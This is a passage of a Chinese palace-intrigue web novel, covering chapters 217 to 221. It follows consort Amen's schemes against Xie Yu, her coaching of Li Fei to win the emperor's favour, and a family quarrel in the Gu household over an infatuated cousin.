谢妤轻笑一声,指尖轻拂鬓发:“如今本宫重获皇上宠爱,自然要为皇家开枝散叶。本宫想问问,如今身体可适合孕育龙嗣?”
阿孟心中冷笑,脸上却不露分毫:“娘娘既然有此需求,臣妾自当效劳。”
“本宫知道你曾说过,那假孕药对身体有害。”谢妤端起茶盏,眼中闪过一丝警惕,“但本宫自觉身体康健,或许影响并不大。”
“娘娘说笑了。”阿孟走到谢妤身旁,伸手搭上她的脉搏,指尖仿佛能感受到谢妤体内早已亏空的气血,“臣妾不过是略通医理罢了。”
室内安静下来,只剩下烛火摇曳的声音。阿孟闭目感受着脉象,心中已有了判断。
谢妤的身体已经被假孕药严重损伤,再加上情药的消耗,根本无法承受怀孕之重。
但这正合她意。
“如何?”谢妤收回手腕,目光灼灼地盯着阿孟。
阿孟神色沉稳,缓缓道:“娘娘脉象平稳,气血充足,各方面都很是安好。”
“当真?”谢妤眼中闪过一丝惊喜。
“千真万确。”阿孟面不改色地撒着谎,“娘娘若想孕育龙嗣,如今正是最佳时机。”
谢妤闻言欣喜若狂,脸上露出志得意满的笑容:“好!好极了!”她走到窗前,望着远处的宫阙,仿佛已经看到自己坐上皇后宝座的那一天。
“孟贵妃的诊断,本宫十分满意。”谢妤背对着阿孟,声音中带着几分傲慢,“本宫向来赏罚分明,他日若有需要,定会提携你。”
阿孟暗自冷笑,面上却恭敬应道:“多谢娘娘厚爱。”
谢妤转身,眼中闪过一丝狡黠:“不知孟贵妃可有什么秘方,能助人早日怀上龙嗣?”
“这……”阿孟故作迟疑,“确有一方,但需搭配娘娘体质,不可轻易使用。”
谢妤走近阿孟,压低声音:“孟贵妃若能助本宫得偿所愿,本宫必不吝回报。”
“既如此,臣妾回去便准备,三日内送来。”阿孟微微颔首。
谢妤满意地点头:“本宫近日设宫宴,孟贵妃可要来捧场。”
“臣妾一定准时赴约。”阿孟微微行礼,心中却在盘算着如何配制一剂看似无害实则损伤根本的药方。
谢妤看着阿孟离去的背影,眼中闪过一丝轻蔑:“不过是棋子罢了。待本宫坐上皇后宝座,后宫中再无她们容身之地。”
红豆上前请示:“娘娘,要不要派人暗中查探那药方的真假?”
谢妤摆手:“不必。她不敢耍花样。”
她看向远处的冷宫方向,眼中寒光闪烁:“别忘了淑妃的下场。”
阿孟回到朝露宫,心中冷笑不已。云珠见状,低声问道:“娘娘,那谢妤又作何打算?”
“她想要一剂助孕的药方。”阿孟冷笑一声,“我自会给她配制一副‘好药’。”
云珠担忧道:“娘娘小心被她发现。”
“放心,”阿孟眼中闪过一丝狠厉,“她的身体早已千疮百孔,这药下去,只会加速她的衰败,却又查不出原因。”
“我已经提醒过,是她自己不择手段,怨不得我。”
傍晚时分,丽妃独自一人立于廊下,望着远处谢妤宫中的灯火通明,神色黯然。
自入宫以来,丽妃便如一朵无人问津的幽兰,日日独守空闺。如今眼见谢妤重得宠爱,后宫格局再变,她不禁忧心忡忡。
次日清晨,丽妃踌躇许久,终是下定决心,轻步向朝露宫行去。
“启禀孟贵妃,丽妃娘娘求见。”云珠在阿孟耳边轻声禀报。
阿孟放下手中的医书,微微蹙眉:“请她进来吧。”
丽妃步入殿内,向阿孟行了一礼:“打扰孟贵妃了。”
“丽妃请坐。”阿孟淡淡道,“不知有何贵干?”
丽妃欲言又止,双手不自觉地交握在一起:“我……我今日前来,是有私事相求。”
阿孟示意云珠退下,目光落在丽妃脸上:“但说无妨。”
第217章 只求一子
丽妃深吸一口气,鼓足勇气道:“听闻孟贵妃医术精湛,为人善良,此前又帮助徐才人离宫,我想请您……请您帮我调养身子,好能……能有孕育龙嗣的机会。”
阿孟微微挑眉,没想到丽妃会为此事前来。
“我知道这请求唐突,但我入宫多年,膝下空空。”丽妃声音渐低,“如今后宫风云变幻,若无子嗣依靠,恐怕……”
阿孟凝视着丽妃,从她眼中看到了真诚与无助,并无算计之色。
想起自己曾几何时,也是这般单纯善良。
“丽妃为何找我帮忙?”阿孟问道,“后宫中不是有太医院的御医吗?”
丽妃苦笑一声:“太医院的人大多依附谢贵妃,若我去寻他们,恐怕消息很快就会传到她耳中。”
“你就不怕我也会告诉她?”阿孟双手交叠,静静望着丽妃。
丽妃真诚地看着阿孟:“不知为何,我觉得孟贵妃与其他人不同。您……不会与谢贵妃同流合污。”
阿孟心中微动,丽妃倒是有几分眼力。
“况且,”丽妃低声续道,“谢贵妃待我尚算和善,大约是因我无子无宠,不足为患吧。若我贸然寻医问药,恐怕会引起她的猜忌。”
阿孟静默片刻,起身走到药柜前:“我可以帮你,但你需谨记几点。”
丽妃眼中闪过一丝欣喜:“孟贵妃请说。”
“第一,切勿对人提起此事;第二,我给你的方子要按时服用;第三,切记保持心情舒畅,莫要焦虑。”阿孟一边说,一边取出几味药材。
“多谢孟贵妃!”丽妃激动不已,差点要跪下行礼。
阿孟扶住她:“不必多礼。你我同为宫中人,互相扶持而已。”
丽妃眼中含泪:“孟贵妃如此相助,我铭记于心。只是……只怕没什么能报答的……”
“若真想报答,”阿孟轻声道,“日后多留个心眼,别被宫中的表象所惑。这宫里,没有永远的敌人,也没有永远的朋友。”
丽妃思索片刻,恍然大悟:“孟贵妃是说……谢贵妃?”
阿孟不置可否,转而取出一个小包袱:“这是调养身体的药方,按时服用。另外,我再给你几味助孕的草药,择日煎服。”
丽妃小心接过,捧在手中如获至宝:“多谢孟贵妃。”
“记住,此事不可声张。”阿孟叮嘱道,“若有任何不适,可悄悄来找我。”
丽妃点头如捣蒜:“我定会谨记。”
“还有,”阿孟看着丽妃,语气柔和了些,“宫中险恶,你要学会保护自己。”
丽妃眼中闪过一丝复杂:“孟贵妃如此关心我,我……我真不知该如何感谢。”
“无需感谢,”阿孟微微一笑,眼中浮现一丝难以察觉的忧伤,“我只是不愿看到无辜之人受害罢了。”
丽妃告辞离去,阿孟站在窗前望着她的背影,思绪万千。
云珠走进来,疑惑地问:“娘娘,您真要帮丽妃?”
阿孟轻叹一声:“她不似其他妃嫔心机深重,我助她一臂之力又何妨?”
“可娘娘身份特殊,若被人发现您频繁取药……”
“无妨。”阿孟手指轻敲桌面,“我会小心行事。何况,这宫中若多一个与谢妤争宠的人,对我们也是好事。”
云珠撇嘴:“只怕丽妃太过单纯,不是谢妤的对手。”
“所以我才要帮她。”阿孟眼中闪过一丝锐利,“人不犯我,我不犯人;若能助她一臂之力,也是结一份善缘。”
“娘娘心善,只是草药来源……”
“下次我会亲自去御药房,避开太医院那些谢妤的走狗。”阿孟收起药包,站起身来,“今晚子时,你去丽妃宫中送药。”
几日后,月朗星稀,阿孟在御花园中的凉亭内等候。丽妃如约而至,神情略显紧张。
“多谢孟贵妃相助,这几日服用您给的药方,已觉身子暖和许多。”丽妃声音轻如柳絮。
阿孟递过一个小包袱:“这是新配的药方,比前一副效力更强。记住,早晚各一次,用温水送服。”
“我记下了。”丽妃小心收好,“只是不知,这药要服用多久才能见效?”
“体质各异,难以定论。”阿孟语气平和,“最重要的是心态放松,过于焦虑反而不利。”
丽妃忧心忡忡:“宫中局势日变,我若无子嗣依靠……”
“宫中生存,不仅靠子嗣。”阿孟打断她,“你需明辨是非。”
“孟贵妃是指……”
“谢妤表面与你交好,不过是因你无足轻重。”阿孟声音低沉,“若你有孕在身,她的态度会如何,你可想过?”
丽妃面色一变:“正因如此,我才来找你”
“我不是吓唬你,只是提醒你小心防范。”阿孟神色严肃,“尤其饮食起居,万不可松懈。”
“那我该如何做?”
“我教你几个辨别食物是否有毒的方法。”阿孟凑近丽妃耳边,轻声细语交代着。
丽妃听罢,惊讶不已:“孟贵妃懂得真多。”
“身在宫中,不得不防。”阿孟淡淡道,眼底深处藏着往事的阴影。
“那我饮食……”
“我已备好几味药材,可解常见毒药。”阿孟递给丽妃一个精致的香囊,“此物随身携带,若遇食物异常,可取少许混入清水饮下。”
丽妃握紧香囊:“孟贵妃如此关心,我……我真不知如何感谢。”
阿孟不答,只是轻叹一声:“宫中明枪易躲,暗箭难防。你我同为宫中人,应当互相扶持才是。”
“真是太感谢了!”丽妃眼中泛起感激的泪光。
阿孟微微一笑:“时候不早,你回去吧。”
“我知道。”丽妃点头,眼中流露出信任与敬意。
望着丽妃离去的背影,阿孟眼中闪过一丝复杂。帮助丽妃,一半是怜悯,一半是谋划。谢妤若多一个对手,自己的计划便多一分成功的希望。
“此事我自然有考量,你就不必担心我了,云珠,我们身上背负的东西太多,如今又身在宫中,自然不能像从前那般无忧无虑。”
“事情完成之后,如今你所受的苦难,我一一弥补给你可好?”
云珠闻言落泪,不由得抿了抿唇。
“娘娘,您不必如此,云珠自愿誓死跟随您,无论是上刀山还是下火海,绝不退缩!”
第218章 后宫暗涌
几日后。
谢妤轻掩唇角,慢步踱入阿孟寝殿。
“孟贵妃近日可好?”她目光流转,状似无意地说道,“本宫听闻丽妃最近面色红润了不少,想必是有什么好事吧。”
阿孟神色不变,手中绣针依旧有条不紊地穿梭:“丽妃向来心地善良,若她有所改善,也是好事一桩。”
“是吗?”谢妤嘴角微勾,走近几步,“听说她前些日子常来朝露宫,孟贵妃与她倒是相谈甚欢。”
阿孟抬眸,对上谢妤探究的目光,不慌不忙道:“后宫姐妹,本就该互相走动。谢贵妃不也时常设宴,邀各位妃嫔聚会吗?”
“本宫那是为了联络感情。”谢妤轻笑,指尖轻敲桌案,“孟贵妃与丽妃走得太近,本宫不免担心。”
“担心什么?”阿孟放下药材,淡然道,“担心我教她对付你吗?”
谢妤一愣,随即恼怒:“孟贵妃此话何意?”
阿孟站起身,缓步走到窗前:“谢贵妃多虑了。若我真想与你为敌,何必借丽妃之手?”她转身,目光如炬,“宫中我尚有诸多后手,何须一个丽妃?”
谢妤面色微变,强压怒火:“孟贵妃好大的口气!”
“不过实话实说罢了。”阿孟面带微笑,“谢贵妃若无事,不如早些回去歇息。听闻你最近身体不适,还是多多保重为好。”
谢妤眯起眼睛,盯着阿孟看了半晌,冷笑一声转身离去。
云珠走入内室,低声道:“娘娘,您这样直接挑明,会不会太冒险了?”
阿孟轻摇头:“谢妤疑心病重,与其让她暗中猜测,不如给她种下更大的疑虑。如此一来,她的注意力会分散,不至于全放在丽妃身上。”
“可她会更加防备您。”
“她本就防备我,不差这一层。”阿孟眼中闪过一丝冷意,“她越是分神,我们的计划就越有成功的可能。”
次日清晨,阿孟在御花园的僻静处与丽妃相遇。
“孟贵妃!”丽妃惊喜地唤道,随即压低声音,“昨日按您所教,我苦练了一整日的绘画。”
阿孟微微点头:“画作可准备好了?”
“已经完成。”丽妃从袖中取出一卷画轴,小心展开,“您看可还行?”
阿孟仔细查看,画中山水烟云缭绕,笔法老到却又不失灵动,确实颇具功力。
“不错,确是上乘之作。”阿孟赞道,“皇上最喜山水画,尤其偏爱云雾缭绕之景。这幅画正合他意。”
“这都是您教导有方。”丽妃感激地说,“若无您指点,我怎会知晓皇上喜好。”
阿孟神色严肃:“记住,明日申时,皇上必会在御花园的梅林小憩。你只需带着画作,在湖边的亭子里装作偶遇。”
“当真有效吗?”丽妃有些忐忑。
“皇上性情多疑,却也爱才。”阿孟低声道,“你模样秀丽,又有才艺,只需得他青睐一次,日后便有机会。”
“我该说些什么?”
“少说为妙。”阿孟叮嘱道,“皇上不喜多言之人。你只需诚实地回答他的问题,表现出对山水画的独到见解即可。”
丽妃紧张地点头:“我、我记住了。”
阿孟看着她忐忑的样子,忽然柔声道:“别怕,做你自己就好。过度紧张反而会引起他的警觉。”
次日申时,丽妃果然按计划在御花园的亭子里“偶遇”了墨司渊。她装作被惊扰的样子,慌忙收起画作,却不小心让画轴掉落在地。
墨司渊眼尖,一眼便看到了画中的山水。
他拾起画轴,仔细端详:“这画……倒是有几分意境。”
“回、回皇上。”丽妃紧张地行礼,“这只是臣妾闲来无事的涂鸦,不成样子,还请皇上莫要见笑。”
墨司渊挑眉:“这画技……你师从何人?”
丽妃依照阿孟的教导,诚实回答:“臣妾自幼喜爱绘画,只是照着古画临摹,不曾拜师。”
墨司渊饶有兴趣地卷起画轴:“难得见到如此有灵气的画作。今日朕心情好,你且随朕一道去御书房,细说这画中的意境。”
丽妃惊喜地抬眼,随即又低下头,恭敬地跟在墨司渊身后。
数日后,谢妤站在朝露宫门口,脸色阴沉。
丽妃与皇上一夜春宵的消息已传入耳中,她握紧手中的锦帕,怒火中烧。
“丽妃那贱人,竟敢与我争宠!”谢妤咬牙切齿,又想起阿孟与丽妃时常往来,心中更添一分怀疑,“难道是那贱人从中作梗?”
谢妤拍案而起,却忽然捂住胸口,脸色一阵青一阵白。
“娘娘!”红豆慌忙上前扶住她,“您又不舒服了,要不要请太医来看看?”
谢妤摇头,缓了口气道:“不必。本宫只是有些乏了。”
她抚摸着自己的小腹,心中盘算着。
阿孟的话总是若有所指,她担心那所谓的“助孕药”有问题,却又不敢轻易声张。若让皇上知道她身体出了状况,恐怕宠爱便要转移。
“红豆,去准备沐浴更衣,今晚本宫要去慈宁宫。”
夜幕降临,谢妤一身华服,精心打扮后前往慈宁宫。
墨司渊批阅完奏折,见她到来,只是淡淡点头。谢妤不动声色,上前轻柔地为他捶背。
“皇上日理万机,该多多保重龙体。”谢妤柔声道,指尖轻巧地在墨司渊肩上游走,“臣妾近日在太庙祈福,祈求能早日为皇上诞下龙子。”
墨司渊放下手中朱笔,目光微冷:“朕记得你前些日子才服用过助孕的药方。”
“是啊,臣妾每日按时服用,只盼早日怀上皇嗣。”谢妤眼波流转,有意无意地说道,“若能生下皇子,也好早日安定朝局。”
墨司渊眉头微蹙,未置可否。
谢妤见状,又从袖中取出一个玉坠:“这是臣妾特意请高僧开光的求子玉佩,据说佩戴在身可助孕育。”
“呵,朕看你这些日子,倒是对子嗣之事格外上心。”墨司渊冷笑一声,将玉佩随手放在桌上。
谢妤心中一沉,强颜欢笑:“臣妾只是想为皇家开枝散叶,尽妃子本分罢了。”
第219章 难测
“是吗?”墨司渊站起身,走到窗前,“朕怎么觉得,你对太子之位,比对朕还上心?”
“皇上此言差矣!”谢妤急忙上前,扶住墨司渊的手臂,“臣妾心中只有皇上,别无他想。”
墨司渊甩开她的手,冷声道:“朕有些累了,你且退下吧。”
谢妤咬紧下唇,行礼告退。
走出宫殿,她掩在袖中的手狠狠掐入掌心。
“丽妃那贱人,一定是她坏了本宫的好事!”
此时墨司渊踱步进入苔蘅殿,眸光在室内扫视一圈。
阿孟正伏案研读医书,见他进来,只是微微颔首,便又低头专注于书页。
墨司渊站在她身后,目光落在她纤细的后颈上,心中莫名烦躁。
“朕听闻你最近与丽妃走动频繁。”墨司渊声音冷硬,带着试探。
阿孟头也不抬,指尖轻轻翻过一页纸:“皇上言重了,臣妾与丽妃不过偶尔闲谈而已。”
“是吗?”墨司渊冷笑一声,“你似乎对每个人都有所保留,对朕亦是如此。”
阿孟这才放下书卷,转身直视他:“皇上想要臣妾如何?臣妾本就是个局外人,被强行拉入宫中,难道还要对皇上倾心吐露不成?”
墨司渊眸光一沉,突然伸手捏住她的下巴:“你这般倔强,就不怕朕降罪于你?”
“皇上若要降罪,臣妾又有何惧?”阿孟目光清冷,毫不退缩,“生死早已看淡,皇上又能奈我何?”
墨司渊松开手,眼中闪过一丝异色。
“皇上不必费心猜测,臣妾不过是个无用的棋子罢了。”阿孟转身拿起药材,开始研磨,“皇上若无事,还请早些回去歇息,臣妾还要给谢贵妃配药,陪不了皇上了。”
墨司渊站在原地,盯着她的背影良久,终是一言不发地离开。
云珠端着茶盏进来,担忧道:“娘娘,您这样激怒皇上,会不会太冒险了?”
“无妨,”阿孟淡然道,“他若真想杀我,早就动手了。他心中有疑,才会频频试探。”
云珠轻叹:“可皇上心性多疑,一旦怀疑什么,便不会轻易放过。”
“正是因为他多疑,我才要以退为进。”阿孟眼中闪过一丝冷意,“越是巴结讨好,反而会引起他的警觉。”
与此同时,顾府内院,顾奚慈泪眼婆娑地望着顾凛鹤。
“表哥,你为何总是避着我?”顾奚慈声音哽咽,“自从我生病以来,你都不曾亲自来看我一眼。”
顾凛鹤冷着脸,站在院中石桌旁:“奚慈,男女有别,我已派最好的丫鬟照顾你,还有什么不满?”
“可我只想见你啊!”顾奚慈突然站起身,脚步踉跄地向他走去,“我心里只有表哥一人,难道表哥就这般无情吗?”
顾凛鹤后退一步,声音冷硬:“奚慈,请自重!我与你只是表亲关系,并无其他。”
“表哥!”顾奚慈忽然晕倒在地。
一旁侍女连忙上前:“小姐!小姐您怎么了?”
顾夫人闻讯赶来,见此情景,顿时怒斥顾凛鹤:“凛鹤!你这是在做什么?奚慈身子刚好,你怎能如此苛待她?”
“母亲,儿子并未苛待表妹。”顾凛鹤声音坚定,“只是表妹情绪过激,儿子不便靠近。”
“你这孩子,怎么如此不懂事!”顾夫人摇头叹息,“奚慈是你表妹,你多照顾她些有何妨?”
顾凛鹤正色道:“母亲,儿子自有分寸。请母亲安排人手照顾表妹,儿子还有公务在身。”
说罢,顾奚慈转身离去。
顾夫人无奈,只得命人将顾奚慈扶回房中。
待众人离去,顾奚慈猛地睁开眼睛,一把抓住侍女的手腕:“你们这些贱婢,伺候不周就算了,连帮我留住表哥都做不到!”
侍女痛呼一声:“小姐饶命!奴婢不敢啊!”
“不敢?”顾奚慈冷笑一声,抬手就是一耳光,“我看你们是故意的!一定是阿孟给了你们好处,让你们不帮我是不是?”
侍女跪地求饶:“小姐明鉴,奴婢们不敢啊!少爷他确实公务繁忙……奴婢们连阿孟是谁都不知道!”
“住口!”顾奚慈抓起茶盏砸向侍女,“我不管你们用什么办法,明日必须让表哥亲自来看我,否则……”她眼中闪过一丝狠毒,“我让你们全都吃不了兜着走!”
侍女们面面相觑,暗自叹息。
她们早已听闻这位小姐任性跋扈,如今亲眼所见,更是胆战心惊。
次日清晨,顾凛鹤刚走出书房,就见几个侍女跪在门前。
“少爷,表小姐昨夜高烧不退,口中一直唤着您的名字,老夫人命我们来请您过去看看。”
顾凛鹤眉头紧锁:“请府医去看了吗?”
“看过了,府医说表小姐是思虑过重,需要宽心……”
顾凛鹤冷哼一声:“我会让人带上补品去看她,但我就不去了。”
侍女急道:“少爷,您若不去,我们几个怕是……”她露出手腕上的伤痕,声音颤抖,“表小姐脾气……”
顾凛鹤眼中闪过一丝怒火,最终长叹一声:“走吧,我去去就回。”
他心中暗自思量,这顾奚慈如此心机深重,若不尽快处理,恐怕家中永无宁日。
几日后,阳光透过云层洒在御花园中。
阿孟心中暗自盘算,决定再为丽妃创造一次与墨司渊“偶遇”的机会。
丽妃的才情若能在墨司渊面前展现,必能引起他的注意。
“丽妃,”阿孟轻声道,“你可曾学过古筝?”
“古筝?”丽妃微微一愣,随即点头,“我略懂一些,但不敢自夸。”
“正好,皇上近日心情不佳,若能听到你的一曲,或许能缓解他的烦闷。”阿孟的眼中闪过一丝期待,“你可以在御花园中弹奏,吸引他的注意。”
丽妃心中一动,虽然有些紧张,但还是坚定地点头:“我会尽力而为。”
当日,丽妃在御花园的亭子中,轻轻拨动古筝的弦,曲声如流水般淙淙而出,悠扬动听。
她的心中虽有些忐忑,但随着音符的流淌,渐渐放松下来。
正当她沉浸其中时,墨司渊恰好路过,不由自主地停下脚步。
第220章 宠妃危机感
“这曲子……倒是别有一番韵味。”墨司渊微微皱眉,心中暗自惊讶,竟然在丽妃的琴声中听到了阿孟的影子。
丽妃见他停下,心中一喜,随即收起琴声,恭敬地行礼:“皇上,臣妾只是在闲暇时练习,若有冒犯,还请皇上见谅。”
“你这琴艺,倒是值得称道。”墨司渊微微颔首,眼中闪过一丝欣赏,“你可曾学过诗词?”
“臣妾自幼喜爱诗词,常常临摹古人的作品。”丽妃心中一阵激动,抓住这个机会,便开始与墨司渊谈论起诗词的意境与技巧。
“哦?你对诗词的见解颇为独到。”墨司渊微微一笑,眼中闪烁着兴趣,“你可否为朕吟一首?”
丽妃心中一震,随即缓缓吟诵起一首描写山水的古诗,字字句句透着她的情感与理解。
“皇上,臣妾在绘画上也有些许造诣,若有机会,还请皇上指教。”丽妃小心翼翼,声音也逐渐绵软娇媚。
“你倒是有趣。”墨司渊的语气中透出一丝赞赏,“明日,朕会在此处小憩,你可再来一曲。”
丽妃心中一喜,连忙道:“臣妾定不负皇上所望。”
自此之后,墨司渊频繁召丽妃侍寝,丽妃在每次侍寝时,总是精心准备,依照墨司渊的喜好,准备不同的点心和香薰,让他在她的宫中感到舒适惬意。
“皇上,今日臣妾特意为您准备了蜜饯与桂花茶,愿您喜欢。”丽妃恭敬地端上点心,心中暗自期待着他的反应。
“倒是不错。”墨司渊微微一笑,品尝着点心,眼中流露出一丝满意,“你果然懂得我的心意。”
“臣妾只想让皇上感到舒适。”丽妃轻声道,心中暗自窃喜。
可正因为阿孟的主意对墨司渊都很是受用,丽妃也忍不住心中存疑,阿孟与皇上的关系着实怪异,也从未真正花过心思在讨好皇上上,怎会如此了解皇上的喜好?
此时,谢妤正坐在朝露宫梳妆台前,眼中寒光闪烁。
红豆小心翼翼地站在一旁,不敢抬头直视。
“那丽妃何德何能,竟然连着三日被皇上召幸?”谢妤猛地拍案而起,“一个无名小卒,凭什么与本宫争宠?”
红豆垂首道:“娘娘息怒,许是皇上一时兴起,过些日子便淡了。”
“呵,你当本宫不知?”谢妤冷笑一声,眼中闪过一丝狠厉,“那淑妃当初不也是这般起势?若不是本宫手段高明,她如今怕是已经压在本宫头上了!”
红豆心中一凛,想起淑妃的下场,不由得打了个寒颤。
“红豆,你替本宫办件事。”谢妤压低声音,眼中透出阴狠,“明日丽妃晨起用膳时,你找机会在她的茶水中加点东西。”
红豆心头一震:“娘娘是要……”
“放心,不会致命。”谢妤冷笑,“只是让她肠胃不适几日,皇上见她那副病态模样,自然就腻了。”
红豆迟疑道:“可若被发现……”
“蠢货!”谢妤低声斥责,“本宫会给你安排妥当,你只需混入丽妃宫中,找准时机下手即可。”
红豆不敢再言,只得领命而去。
次日清晨,红豆借着送补品的名义混入丽妃宫中。
她眼观六路,趁着宫女们不注意,从袖中取出一个小纸包,倒入丽妃的茶盏后匆匆离开。
阿孟正在苔蘅殿中研读医书,云珠领着一名宫女匆匆而来。
“娘娘,事情已经查明。”云珠低声禀报,“确如您所料,谢贵妃派红豆在丽妃茶水中下了泻药。”
阿孟在苔蘅殿中,手中捧着几味药材,心中暗自思量。
她隐约察觉到谢妤的阴险用意,决定提前为丽妃做好准备。
她派云珠唤来丽妃,神情认真:“丽妃,近日谢贵妃似乎对你有所图谋,你需小心饮食。”
丽妃微微一怔,心中一紧:“娘娘,您是说谢贵妃会对我下手?”她的声音中透出几分不安。
阿孟点头,神色凝重:“我已为你调配了一种药,能够化解谢贵妃的阴谋。你只需每日按时服用,定能保持身体健康。”
丽妃感激涕零,眼中闪烁着感动的泪光:“多谢娘娘,您总是如此关心我。您为我调配的药方,我定会遵从。”
阿孟微微一笑,继续道:“此外,你的身体需要调理,务必注意饮食和作息。我会为你准备坐胎药,确保你能顺利怀上孩子,在后宫中站稳脚跟。”
“我会听从您的嘱咐,绝不敢怠慢。”丽妃郑重其事地说道,心中对阿孟的信任愈发坚定。
阿孟看着她,心中暗自欣慰:“记住,丽妃,后宫之事,需谨慎行事。若有任何异样,及时告知我。”
“我明白,娘娘。”丽妃用力点头,心中暗自发誓定要好好珍惜这份来之不易的关怀。
几日后,阿孟在为丽妃调理身体时,发现她的气色渐渐好转,心中不禁松了口气:“丽妃,看来你这几日的调养效果不错,继续保持。”
“多亏了娘娘的细心照料,我才能如此。”丽妃满脸感激,轻声道,“我会更加努力,绝不辜负您的期望。”
阿孟轻声叮嘱:“记得按时服药,饮食上也要多加注意,别被谢贵妃的阴谋所害。”
“是,娘娘,我会谨记在心。”丽妃地回应,心中对阿孟的信任愈发深厚。
本以为计划会得逞,岂料几日之后,宫中不仅没有传来丽妃失宠的消息,皇上去的反而越发频繁。
“红豆,那丽妃竟没有丝毫不适?”谢妤转身,声音冷冽如冰。
红豆跪在地上,不敢抬头:“回娘娘,丽妃这几日气色反倒越发好了,听说皇上昨夜又去了她那处。”
“哼!”谢妤猛地将茶盏摔于地上,瓷片四溅,“必是那阿孟从中作梗!她与丽妃勾结,处处与本宫作对!”
红豆小心翼翼道:“娘娘息怒,气伤身子……”
“住口!”谢妤厉声喝断,眼中满是狠厉,“本宫还不容一个小小丽妃放在眼里。既然寻常手段不行,便只能出奇制胜了。”
谢妤落座于案前,指尖轻叩桌面,唇角微勾:“既然如此,那本宫只能祈求皇上进行一场祈福大典了。”
红豆一愣:“娘娘是说……”
第221章 祈福迷局
“千百年来,天降祥瑞应证有德之人,若皇嗣降生之日有祥瑞显现,岂不是天命所归?”谢妤眼中闪过一丝阴狠,“本宫自有妙计。”
红豆心中一凛,低声道:“只是那孟贵妃……”
“她不过是条狗罢了,”谢妤冷笑一声,“皇上对她早已起疑,只是尚未寻到证据。此番祈福大典,便让她自露马脚,让皇上认定她是孟方意,还被她耍的团团转!”
红豆垂首,不敢吭声。谢妤起身走到窗前,长袖轻拂,眸中满是算计。
“红豆,你可知本宫为何要举办这场祈福大典?”
“娘娘是为皇室祈福……”红豆小心应答。
谢妤转身,眉眼间带着几分得意:“表面上是为皇室祈福,实则是为本宫自己。”她缓步走近红豆,声音压得极低,“本宫要让所有人都以为我怀上了龙嗣。”
红豆惊得抬头,而后又迅速垂下,颤声道:“娘娘此计……”
“大胆妙计!”谢妤轻笑,“本宫会找人布置风水局,在祈福时出现‘祥瑞’,让所有人都相信这是上天恩赐的皇子。待时机成熟,再从外面找个男婴顶替。”
“若被发现……”
“你以为本宫会留下把柄吗?”谢妤冷冷瞥了红豆一眼,“本宫自会安排妥当。关键是找个合适的人选,替本宫寻一个足月的男婴。”
红豆咬唇:“娘娘,此事牵连甚广,若有差池……”
谢妤眸光一冷:“你是在质疑本宫?”
“奴婢不敢!”红豆急忙跪下,“只是担忧娘娘安危。”
“无需担忧。”谢妤抬手抚过红豆的头顶,语调转柔,“只要你听话办事,本宫自有重赏。”
红豆俯首称是,心中却忐忑不安。
与此同时,苔蘅殿中,阿孟正翻阅医书。云珠轻步入内,贴近她耳边低语几句。
阿孟眉头微蹙:“谢妤要办祈福大典?”
“是,听说是为皇嗣祈福。”云珠垂首回答,“这些日子,谢妤宫中进出的人颇多,有不少是外头的风水师、算命先生。”
阿孟合上书卷,目光微沉:“她向来不信这些,如今却大费周章,必有图谋。”
“娘娘怀疑什么?”
“她这些日子频频提及皇嗣,又服用所谓的‘助孕药物’,恐怕……”阿孟眸光一闪,“她是想又假装怀上龙嗣。”
云珠惊诧道:“她怎敢如此大胆?”
“越是荒谬的谎言,反而越容易蒙蔽人心。”阿孟冷静分析,“她若真能在祈福时造出‘祥瑞’,再配合谣言,一旦皇上信了,谁还敢质疑?”
她起身踱步至窗前,望着远处宫阙:“先让丽妃做好准备,若谢妤真施展阴谋,必会打压其他嫔妃。”
“丽妃近日受宠,确实可能成为谢妤眼中钉。”
阿孟凝视远方:“通知丽妃小心行事,切莫与谢妤正面冲突。同时,我们需要找出谢妤究竟从何处寻找替代的婴儿。”
云珠眼中闪过一丝精光:“娘娘是想……断了她的后路?”
“不急。”阿孟眼中闪过一丝冷厉,“先观察,待她布局已成却功亏一篑时,才最痛快。”
阿孟思忖片刻:“你去告诉丽妃,若谢妤再找她麻烦,就推说身体不适,来我这里避一避。”
“是,娘娘。”
与此同时,顾府内院一片喧嚣。顾夫人面色铁青,瞪视着面前的顾凛鹤:“凛鹤!你怎能如此待你表妹?她好心来看你,你竟避而不见?”
顾凛鹤面色沉静,眸中却藏着一丝怒火:“母亲,儿子近日公务繁忙,实在无暇接待表妹。”
“公务繁忙?”顾夫人冷哼一声,“那你为何有时间去那些酒楼茶馆?奚慈都告诉我了!”
顾凛鹤眉头紧锁:“母亲,那是与同僚商议公事。儿子不明白表妹为何对我的行踪如此了解。”
“你这是什么话?”顾夫人怒道,“奚慈关心你才打听你的行踪,你倒好,不但不领情,还怀疑她的用心!”
顾凛鹤深吸一口气,压下心中的不快:“母亲,儿子与表妹只是表亲关系,并无其他。请母亲明鉴,不要被表妹的言辞所误导。”
话音刚落,顾奚慈缓步走入院中,脸色苍白,眼中含泪:“表哥,你竟如此说我……”
顾凛鹤冷眼看她那做作姿态,心中更是厌烦,却不便明言。
顾夫人心疼地扶住顾奚慈:“奚慈,你别难过,都是凛鹤不懂事。”
顾奚慈抹着眼泪,声音颤抖:“姑母,我不怪表哥。只是自从进入顾府,表哥对我冷言冷语,我真不知做错了什么……”
顾凛鹤眸光一冷:“表妹,请自重。我对你一直以礼相待,从未冷言冷语。”
“表哥!”顾奚慈突然上前一步,眼泪夺眶而出,“你明明知道我的心意,为何还要这般绝情?”
顾凛鹤后退一步,声音冷硬:“奚慈,你我表亲之谊,不应逾越。你若再执迷不悟,只会让自己更加难堪。”
“凛鹤!”顾夫人厉声道,“你怎能这样说话?奚慈对你一片痴心,你竟如此无情?”
顾凛鹤忍无可忍,拱手道:“母亲,儿子有公务在身,不便久留。至于表妹之事,还请母亲三思。”
顾夫人气得浑身发抖:“你这孩子,怎么变得如此无情无义?难道你忘了当初奚慈帮过你的恩情吗?”
顾凛鹤眸中闪过一丝复杂,却仍坚定地摇头:“儿子记得表妹的恩情,但恩情与男女之情不可混为一谈。儿子心中早有所属,请母亲谅解。”
“你心中有谁?”顾奚慈突然尖声问道,眼中闪过一丝怨毒,“是不是那个所谓的阿孟?”
顾凛鹤眼神骤然凌厉:“表妹慎言!你不了解的事,请不要妄加揣测。”
顾奚慈咬紧下唇:“果然是她!表哥,你可知她如今身在何处?她早已成了皇上的女人,你还执迷不悟作甚?”
“够了!”顾凛鹤厉声喝断,转身便走,“儿子告退。”
顾夫人气得扶着婢女站稳:“这孩子,怎么变得如此不孝?”
顾奚慈扑入顾夫人怀中,泪眼婆娑:“姑母,都是我不好,让您为我操心了。”
